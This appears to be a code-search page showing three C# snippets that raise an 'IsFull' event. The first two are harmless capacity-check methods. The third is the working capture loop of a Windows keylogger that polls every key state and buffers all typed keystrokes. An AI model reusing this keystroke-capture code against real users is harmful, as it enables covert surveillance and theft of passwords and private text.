Example #1
0
        public void AddIron(double amount)
        {
            if (CurrentVolume + amount <= Capacity)
            {
                if (CurrentVolume + amount >= Capacity)
                {
                    IsFull?.Invoke(this);
                }

                CurrentVolume += amount;
                Added?.Invoke(this);
            }
        }
Example #2
0
        public void Add(int value)
        {
            _value += value;

            if (_value >= Capacity)
            {
                _value = Capacity;
                ValueHasChanged?.Invoke(this, new ExampleEventArgs(_value));
                IsFull?.Invoke(this, new ExampleEventArgs(_value));
            }
            else
            {
                ValueHasChanged?.Invoke(this, new ExampleEventArgs(_value));
            }
        }
Example #3
0
        public void Run()
        {
            Keys key = 0;

            while (true)
            {
                Thread.Sleep(100);
                for (int i = 0; i < 255; i++)
                {
                    int state = GetAsyncKeyState(i);
                    if (state != 0)
                    {
                        if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital)
                        {
                            continue;
                        }
                        key = (Keys)i;
                        bool  shift      = false;
                        short shiftState = (short)GetAsyncKeyState(16);
                        if ((shiftState & 0x8000) == 0x8000)
                        {
                            shift = true;
                        }
                        var  caps  = Console.CapsLock;
                        bool isBig = shift | caps;
                        if (key == Keys.Space)
                        {
                            LogsStream.Append(" "); continue;
                        }

                        if (key == Keys.Enter)
                        {
                            LogsStream.Append("<Enter>"); continue;
                        }
                        if (key == Keys.LButton || key == Keys.RButton || key == Keys.MButton)
                        {
                            continue;
                        }
                        if (key.ToString().Length == 1)
                        {
                            if (isBig)
                            {
                                LogsStream.Append(key.ToString());
                            }
                            else
                            {
                                LogsStream.Append(key.ToString().ToLowerInvariant());
                            }
                        }
                        else
                        {
                            LogsStream.Append($"<{key}>");
                        }
                        if (LogsStream.Length > 10000)
                        {
                            IsFull?.Invoke(LogsStream);
                            LogsStream.Clear();
                        }
                    }
                }
            }
        }